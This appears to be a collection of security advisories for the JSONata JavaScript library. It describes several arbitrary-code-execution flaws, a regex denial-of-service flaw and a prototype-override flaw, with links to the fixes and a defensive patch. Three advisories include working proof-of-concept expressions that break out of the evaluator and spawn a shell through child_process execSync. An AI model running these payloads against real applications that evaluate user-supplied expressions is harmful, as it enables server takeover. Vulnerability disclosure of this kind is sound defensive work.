See how jsonata compares to other vendors in security performance
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to: - overwriting $clone allowing mutation of objects via transforms (see evaluateTransformExpression) - it being possible to destruct jsonata functions/lambdas (e.g. $merge.) - applyProcedure using proc.arguments.forEach and not Array.prototype.forEach
Which could be chained to execute arbitrary code.
This was fixed with:
- https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673) - https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/pull/802
Which are included in the 2.2.1 release. Fixes were then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $obj := {}; $clone := function($o) { $o }; $m := ($merge.)[1];
$fn := function($a) { ( $a({"value":"lg"},"lookupGetter"); $a({"value":"x"},"x"); ) };
$nop := function() { $ };
$capture := function($val) { $obj ~> | $obj | {"x": 1, "y": 1, "lg":$lg} | };
$ ~> | $ | $m([$nop,{"jsonatalambda":false}])|; $ ~> | $ | {"arguments":{"forEach": $spread($fn)}}|; $ ~> | $ | {"body":$m([$capture,{"jsonatalambda":false}]).body}|; $func := $m([$,{"jsonatalambda":true}]); $func();
$gP := $obj.lg("proto");
$afn:=$spread($fn); $afn{"x":$gP().constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")()}; ) );
await expression.evaluate({});
References
- https://github.com/jsonata-js/jsonata/pull/799 - https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673 - https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de
- https://github.com/jsonata-js/jsonata/pull/800 - https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc
- https://github.com/jsonata-js/jsonata/pull/802 - https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a bypassable hasOwnProperty check in environment.lookup https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799 (https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865) which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( $hasOwnProperty := $spread($string); $proto := $constructor; $constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'})")(); ));
await expression.evaluate({});
Impact
Before JSONata 2.2.0 and 1.8.8 it was possible to execute arbitrary code with crafted expressions, due to a missing hasOwnProperty check in the lookup function: https://github.com/jsonata-js/jsonata/blob/f9632e01e6e67d4f9f00593f9795420cb4b57f48/src/functions.js#L1686-L1705
This was fixed with https://github.com/jsonata-js/jsonata/pull/794, which is included in the 2.2.0 release, and ported in the 1.8.8 release.
PoC
js import jsonata from "jsonata";
const expression = jsonata( ( lookupSetter('proto')(constructor); defineGetter('l', constructor("return process.getBuiltinModule('childprocess').execSync('sh',{stdio:'inherit'}).toString()")); valueOf().l ) );
await expression.evaluate({});
Impact In JSONata <v2.2.0, it is possible to craft non-matching inputs to the $toMillis function that cause superlinear backtracking in the ISO-8601 validation regex. This may lead to denial of service in applications that evaluate user-provided JSONata expressions.
Patches This issue has been addressed in JSONata version >= 2.2.0 via fixes that include https://github.com/jsonata-js/jsonata/pull/782 and https://github.com/jsonata-js/jsonata/pull/793. Applications that evaluate user-provided expressions should update ASAP to prevent exploitation.
References https://github.com/jsonata-js/jsonata/releases/tag/v2.2.0
Credit Thank you to Doruk Tan Öztürk for disclosing this issue.
Impact
In JSONata versions >= 1.4.0, < 1.8.7 and >= 2.0.0, < 2.0.4, a malicious expression can use the transform operator to override properties on the Object constructor and prototype. This may lead to denial of service, remote code execution or other unexpected behavior in applications that evaluate user-provided JSONata expressions.
Patch
This issue has been fixed in JSONata versions >= 1.8.7 and >= 2.0.4. Applications that evaluate user-provided expressions should update ASAP to prevent exploitation. The following patch can be applied if updating is not possible.
patch --- a/src/jsonata.js +++ b/src/jsonata.js @@ -1293,6 +1293,13 @@ var jsonata = (function() { } for(var ii = 0; ii < matches.length; ii++) { var match = matches[ii]; + if (match && (match.isPrototypeOf(result) || match instanceof Object.constructor)) { + throw { + code: "D1010", + stack: (new Error()).stack, + position: expr.position + }; + } // evaluate the update value for each match var update = await evaluate(expr.update, match, environment); // update must be an object @@ -1539,7 +1546,7 @@ var jsonata = (function() { if (typeof err.token == 'undefined' && typeof proc.token !== 'undefined') { err.token = proc.token; } - err.position = proc.position; + err.position = proc.position || err.position; } throw err; } @@ -1972,6 +1979,7 @@ var jsonata = (function() { "T1007": "Attempted to partially apply a non-function. Did you mean ${{{token}}}?", "T1008": "Attempted to partially apply a non-function", "D1009": "Multiple key definitions evaluate to same key: {{value}}", + "D1010": "Attempted to access the Javascript object prototype", // Javascript specific "T1010": "The matcher function argument passed to function {{token}} does not return the correct object structure", "T2001": "The left side of the {{token}} operator must evaluate to a number", "T2002": "The right side of the {{token}} operator must evaluate to a number",
References
https://github.com/jsonata-js/jsonata/releases/tag/v2.0.4
Credit
Thank you to Albert Pedersen of Cloudflare for disclosing this issue.